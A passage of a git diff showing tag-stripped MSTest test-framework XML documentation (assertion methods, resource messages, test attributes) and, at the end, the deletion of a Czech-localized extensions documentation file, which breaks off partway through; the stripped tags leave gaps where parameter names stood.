- - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws AssertFailedException if code does not throws exception or throws exception of type other than . - - Delegate to code to be tested and which is expected to throw exception. - - The message to include in the exception when - does not throws exception of type . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws AssertFailedException if code does not throws exception or throws exception of type other than . - - Delegate to code to be tested and which is expected to throw exception. - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Replaces null characters ('\0') with "\\0". - - - The string to search. - - - The converted string with null characters replaced by "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Helper function that creates and throws an AssertionFailedException - - - name of the assertion throwing an exception - - - message describing conditions for assertion failure - - - The parameters. - - - - - Checks the parameter for valid conditions - - - The parameter. - - - The assertion Name. - - - parameter name - - - message for the invalid parameter exception - - - The parameters. - - - - - Safely converts an object to a string, handling null values and null characters. - Null values are converted to "(null)". Null characters are converted to "\\0". - - - The object to convert to a string. - - - The converted string. - - - - - The string assert. - - - - - Gets the singleton instance of the CollectionAssert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert customAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - Thrown if is not found in - . - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - Thrown if is not found in - . - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not found in - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - Thrown if does not begin with - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - The message to include in the exception when - does not begin with . The message is - shown in test results. - - - Thrown if does not begin with - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - The message to include in the exception when - does not begin with . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not begin with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - Thrown if does not end with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - The message to include in the exception when - does not end with . The message is - shown in test results. - - - Thrown if does not end with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - The message to include in the exception when - does not end with . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not end with - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - Thrown if does not match - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - The message to include in the exception when - does not match . The message is shown in - test results. - - - Thrown if does not match - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - The message to include in the exception when - does not match . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if does not match - . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - Thrown if matches . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - The message to include in the exception when - matches . The message is shown in test - results. - - - Thrown if matches . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - The message to include in the exception when - matches . The message is shown in test - results. - - - An array of parameters to use when formatting . - - - Thrown if matches . - - - - - A collection of helper classes to test various conditions associated - with collections within unit tests. If the condition being tested is not - met, an exception is thrown. - - - - - Gets the singleton instance of the CollectionAssert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert customAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - Thrown if is not found in - . - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - Thrown if is not found in - . - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - Thrown if is found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - The message to include in the exception when - is in . The message is shown in test - results. - - - Thrown if is found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - The message to include in the exception when - is in . The message is shown in test - results. - - - An array of parameters to use when formatting . - - - Thrown if is found in - . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - The message to include in the exception when - contains a null element. The message is shown in test results. - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - The message to include in the exception when - contains a null element. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - The message to include in the exception when - contains at least one duplicate element. The message is shown in - test results. - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - The message to include in the exception when - contains at least one duplicate element. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - The message to include in the exception when an element in - is not found in . - The message is shown in test results. - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - The message to include in the exception when an element in - is not found in . - The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - Thrown if every element in is also found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - The message to include in the exception when every element in - is also found in . - The message is shown in test results. - - - Thrown if every element in is also found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - The message to include in the exception when every element in - is also found in . - The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if every element in is also found in - . - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when an element was found - in one of the collections but not the other. The message is shown - in test results. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when an element was found - in one of the collections but not the other. The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when - contains the same elements as . The message - is shown in test results. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when - contains the same elements as . The message - is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - The message to include in the exception when an element in - is not an instance of - . The message is shown in test results. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - The message to include in the exception when an element in - is not an instance of - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Determines whether the first collection is a subset of the second - collection. If either set contains duplicate elements, the number - of occurrences of the element in the subset must be less than or - equal to the number of occurrences in the superset. - - - The collection the test expects to be contained in . - - - The collection the test expects to contain . - - - True if is a subset of - , false otherwise. - - - - - Constructs a dictionary containing the number of occurrences of each - element in the specified collection. - - - The collection to process. - - - The number of null elements in the collection. - - - A dictionary containing the number of occurrences of each element - in the specified collection. - - - - - Finds a mismatched element between the two collections. A mismatched - element is one that appears a different number of times in the - expected collection than it does in the actual collection. The - collections are assumed to be different non-null references with the - same number of elements. The caller is responsible for this level of - verification. If there is no mismatched element, the function returns - false and the out parameters should not be used. - - - The first collection to compare. - - - The second collection to compare. - - - The expected number of occurrences of - or 0 if there is no mismatched - element. - - - The actual number of occurrences of - or 0 if there is no mismatched - element. - - - The mismatched element (may be null) or null if there is no - mismatched element. - - - true if a mismatched element was found; false otherwise. - - - - - compares the objects using object.Equals - - - - - Base class for Framework Exceptions. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - A strongly-typed resource class, for looking up localized strings, etc. - - - - - Returns the cached ResourceManager instance used by this class. - - - - - Overrides the current thread's CurrentUICulture property for all - resource lookups using this strongly typed resource class. - - - - - Looks up a localized string similar to Access string has invalid syntax.. - - - - - Looks up a localized string similar to The expected collection contains {1} occurrence(s) of <{2}>. The actual collection contains {3} occurrence(s). {0}. - - - - - Looks up a localized string similar to Duplicate item found:<{1}>. {0}. - - - - - Looks up a localized string similar to Expected:<{1}>. Case is different for actual value:<{2}>. {0}. - - - - - Looks up a localized string similar to Expected a difference no greater than <{3}> between expected value <{1}> and actual value <{2}>. {0}. - - - - - Looks up a localized string similar to Expected:<{1} ({2})>. Actual:<{3} ({4})>. {0}. - - - - - Looks up a localized string similar to Expected:<{1}>. Actual:<{2}>. {0}. - - - - - Looks up a localized string similar to Expected a difference greater than <{3}> between expected value <{1}> and actual value <{2}>. {0}. - - - - - Looks up a localized string similar to Expected any value except:<{1}>. Actual:<{2}>. {0}. - - - - - Looks up a localized string similar to Do not pass value types to AreSame(). Values converted to Object will never be the same. Consider using AreEqual(). {0}. - - - - - Looks up a localized string similar to {0} failed. {1}. - - - - - Looks up a localized string similar to async TestMethod with UITestMethodAttribute are not supported. Either remove async or use TestMethodAttribute.. - - - - - Looks up a localized string similar to Both collections are empty. {0}. - - - - - Looks up a localized string similar to Both collection contain same elements.. - - - - - Looks up a localized string similar to Both collection references point to the same collection object. {0}. - - - - - Looks up a localized string similar to Both collections contain the same elements. {0}. - - - - - Looks up a localized string similar to {0}({1}). - - - - - Looks up a localized string similar to (null). - - - - - Looks up a localized string similar to (object). - - - - - Looks up a localized string similar to String '{0}' does not contain string '{1}'. {2}.. - - - - - Looks up a localized string similar to {0} ({1}). - - - - - Looks up a localized string similar to Assert.Equals should not be used for Assertions. Please use Assert.AreEqual & overloads instead.. - - - - - Looks up a localized string similar to Method {0} must match the expected signature: public static {1} {0}({2}).. - - - - - Looks up a localized string similar to Property or method {0} on {1} returns empty IEnumerable<object[]>.. - - - - - Looks up a localized string similar to Property or method {0} on {1} does not return IEnumerable<object[]>.. - - - - - Looks up a localized string similar to Value returned by property or method {0} shouldn't be null.. - - - - - Looks up a localized string similar to The number of elements in the collections do not match. Expected:<{1}>. Actual:<{2}>.{0}. - - - - - Looks up a localized string similar to Element at index {0} do not match.. - - - - - Looks up a localized string similar to Element at index {1} is not of expected type. Expected type:<{2}>. Actual type:<{3}>.{0}. - - - - - Looks up a localized string similar to Element at index {1} is (null). Expected type:<{2}>.{0}. - - - - - Looks up a localized string similar to String '{0}' does not end with string '{1}'. {2}.. - - - - - Looks up a localized string similar to Invalid argument- EqualsTester can't use nulls.. - - - - - Looks up a localized string similar to Cannot convert object of type {0} to {1}.. - - - - - Looks up a localized string similar to The internal object referenced is no longer valid.. - - - - - Looks up a localized string similar to The parameter '{0}' is invalid. {1}.. - - - - - Looks up a localized string similar to The property {0} has type {1}; expected type {2}.. - - - - - Looks up a localized string similar to {0} Expected type:<{1}>. Actual type:<{2}>.. - - - - - Looks up a localized string similar to String '{0}' does not match pattern '{1}'. {2}.. - - - - - Looks up a localized string similar to Wrong Type:<{1}>. Actual type:<{2}>. {0}. - - - - - Looks up a localized string similar to String '{0}' matches pattern '{1}'. {2}.. - - - - - Looks up a localized string similar to No test data source specified. Atleast one TestDataSource is required with DataTestMethodAttribute.. - - - - - Looks up a localized string similar to No exception thrown. {1} exception was expected. {0}. - - - - - Looks up a localized string similar to The parameter '{0}' is invalid. The value cannot be null. {1}.. - - - - - Looks up a localized string similar to Different number of elements.. - - - - - Looks up a localized string similar to - The constructor with the specified signature could not be found. You might need to regenerate your private accessor, - or the member may be private and defined on a base class. If the latter is true, you need to pass the type - that defines the member into PrivateObject's constructor. - . - - - - - Looks up a localized string similar to - The member specified ({0}) could not be found. You might need to regenerate your private accessor, - or the member may be private and defined on a base class. If the latter is true, you need to pass the type - that defines the member into PrivateObject's constructor. - . - - - - - Looks up a localized string similar to String '{0}' does not start with string '{1}'. {2}.. - - - - - Looks up a localized string similar to The expected exception type must be System.Exception or a type derived from System.Exception.. - - - - - Looks up a localized string similar to (Failed to get the message for an exception of type {0} due to an exception.). - - - - - Looks up a localized string similar to Test method did not throw expected exception {0}. {1}. - - - - - Looks up a localized string similar to Test method did not throw an exception. An exception was expected by attribute {0} defined on the test method.. - - - - - Looks up a localized string similar to Test method threw exception {0}, but exception {1} was expected. Exception message: {2}. - - - - - Looks up a localized string similar to Test method threw exception {0}, but exception {1} or a type derived from it was expected. Exception message: {2}. - - - - - Looks up a localized string similar to Threw exception {2}, but exception {1} was expected. {0} - Exception Message: {3} - Stack Trace: {4}. - - - - - unit test outcomes - - - - - Test was executed, but there were issues. - Issues may involve exceptions or failed assertions. - - - - - Test has completed, but we can't say if it passed or failed. - May be used for aborted tests. - - - - - Test was executed without any issues. - - - - - Test is currently executing. - - - - - There was a system error while we were trying to execute a test. - - - - - The test timed out. - - - - - Test was aborted by the user. - - - - - Test is in an unknown state - - - - - Test cannot be executed. - - - - - Provides helper functionality for the unit test framework - - - - - Gets the exception messages, including the messages for all inner exceptions - recursively - - Exception to get messages for - string with error message information - - - - Enumeration for timeouts, that can be used with the class. - The type of the enumeration must match - - - - - The infinite. - - - - - Enumeration for inheritance behavior, that can be used with both the class - and class. - Defines the behavior of the ClassInitialize and ClassCleanup methods of base classes. - The type of the enumeration must match - - - - - None. - - - - - Before each derived class. - - - - - The test class attribute. - - - - - Gets a test method attribute that enables running this test. - - The test method attribute instance defined on this method. - The to be used to run this test. - Extensions can override this method to customize how all methods in a class are run. - - - - The test method attribute. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - Message specifies reason for ignoring. - - - - - Gets display Name for the Test Window - - - - - Executes a test method. - - The test method to execute. - An array of TestResult objects that represent the outcome(s) of the test. - Extensions can override this method to customize running a TestMethod. - - - - Attribute for data driven test where data can be specified in-line. - - - - - The test initialize attribute. - - - - - The test cleanup attribute. - - - - - The ignore attribute. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - Message specifies reason for ignoring. - - - - - Gets the owner. - - - - - The test property attribute. - - - - - Initializes a new instance of the class. - - - The name. - - - The value. - - - - - Gets the name. - - - - - Gets the value. - - - - - The class initialize attribute. - - - - - Initializes a new instance of the class. - ClassInitializeAttribute - - - - - Initializes a new instance of the class. - ClassInitializeAttribute - - - Specifies the ClassInitialize Inheritance Behavior - - - - - Gets the Inheritance Behavior - - - - - The class cleanup attribute. - - - - - Initializes a new instance of the class. - ClassCleanupAttribute - - - - - Initializes a new instance of the class. - ClassCleanupAttribute - - - Specifies the ClassCleanup Inheritance Behavior - - - - - Gets the Inheritance Behavior - - - - - The assembly initialize attribute. - - - - - The assembly cleanup attribute. - - - - - Test Owner - - - - - Initializes a new instance of the class. - - - The owner. - - - - - Gets the owner. - - - - - Priority attribute; used to specify the priority of a unit test. - - - - - Initializes a new instance of the class. - - - The priority. - - - - - Gets the priority. - - - - - Description of the test - - - - - Initializes a new instance of the class to describe a test. - - The description. - - - - Gets the description of a test. - - - - - CSS Project Structure URI - - - - - Initializes a new instance of the class for CSS Project Structure URI. - - The CSS Project Structure URI. - - - - Gets the CSS Project Structure URI. - - - - - CSS Iteration URI - - - - - Initializes a new instance of the class for CSS Iteration URI. - - The CSS Iteration URI. - - - - Gets the CSS Iteration URI. - - - - - WorkItem attribute; used to specify a work item associated with this test. - - - - - Initializes a new instance of the class for the WorkItem Attribute. - - The Id to a work item. - - - - Gets the Id to a work item associated. - - - - - Timeout attribute; used to specify the timeout of a unit test. - - - - - Initializes a new instance of the class. - - - The timeout in milliseconds. - - - - - Initializes a new instance of the class with a preset timeout - - - The timeout - - - - - Gets the timeout in milliseconds. - - - - - TestResult object to be returned to adapter. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the display name of the result. Useful when returning multiple results. - If null then Method name is used as DisplayName. - - - - - Gets or sets the outcome of the test execution. - - - - - Gets or sets the exception thrown when test is failed. - - - - - Gets or sets the output of the message logged by test code. - - - - - Gets or sets the output of the message logged by test code. - - - - - Gets or sets the debug traces by test code. - - - - - Gets or sets the debug traces by test code. - - - - - Gets or sets the execution id of the result. - - - - - Gets or sets the parent execution id of the result. - - - - - Gets or sets the inner results count of the result. - - - - - Gets or sets the duration of test execution. - - - - - Gets or sets the data row index in data source. Set only for results of individual - run of data row of a data driven test. - - - - - Gets or sets the return value of the test method. (Currently null always). - - - - - Gets or sets the result files attached by the test. - - - - - Specifies connection string, table name and row access method for data driven testing. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - The default provider name for DataSource. - - - - - The default data access method. - - - - - Initializes a new instance of the class. This instance will be initialized with a data provider, connection string, data table and data access method to access the data source. - - Invariant data provider name, such as System.Data.SqlClient - - Data provider specific connection string. - WARNING: The connection string can contain sensitive data (for example, a password). - The connection string is stored in plain text in source code and in the compiled assembly. - Restrict access to the source code and assembly to protect this sensitive information. - - The name of the data table. - Specifies the order to access data. - - - - Initializes a new instance of the class.This instance will be initialized with a connection string and table name. - Specify connection string and data table to access OLEDB data source. - - - Data provider specific connection string. - WARNING: The connection string can contain sensitive data (for example, a password). - The connection string is stored in plain text in source code and in the compiled assembly. - Restrict access to the source code and assembly to protect this sensitive information. - - The name of the data table. - - - - Initializes a new instance of the class. This instance will be initialized with a data provider and connection string associated with the setting name. - - The name of a data source found in the <microsoft.visualstudio.qualitytools> section in the app.config file. - - - - Gets a value representing the data provider of the data source. - - - The data provider name. If a data provider was not designated at object initialization, the default provider of System.Data.OleDb will be returned. - - - - - Gets a value representing the connection string for the data source. - - - - - Gets a value indicating the table name providing data. - - - - - Gets the method used to access the data source. - - - - One of the values. If the is not initialized, this will return the default value . - - - - - Gets the name of a data source found in the <microsoft.visualstudio.qualitytools> section in the app.config file. - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 055948f3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Používá se pro určení položky nasazení (souboru nebo adresáře) za účelem nasazení podle testu. - Lze zadat na testovací třídě nebo testovací metodě. - Může mít více instancí atributu pro zadání více než jedné položky. - Cesta k položce může být absolutní nebo relativní. Pokud je relativní, je relativní ve vztahu k RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Inicializuje novou instanci třídy . - - Soubor nebo adresář, který se má nasadit. Cesta je relativní ve vztahu k adresáři výstupu sestavení. Položka bude zkopírována do adresáře, ve kterém jsou nasazená testovací sestavení. - - - - Inicializuje novou instanci třídy . - - Relativní nebo absolutní cesta k souboru nebo adresáři, který se má nasadit. Cesta je relativní ve vztahu k adresáři výstupu sestavení. Položka bude zkopírována do stejného adresáře jako nasazená testovací sestavení. - Cesta k adresáři, do kterého se mají položky kopírovat. Může být absolutní nebo relativní ve vztahu k adresáři nasazení. Všechny soubory a adresáře určené cestou budou zkopírovány do tohoto adresáře. - - - - Získá cestu ke zdrojovému souboru nebo složce, které se mají kopírovat. - - - - - Získá cestu adresáře, do kterého se položka 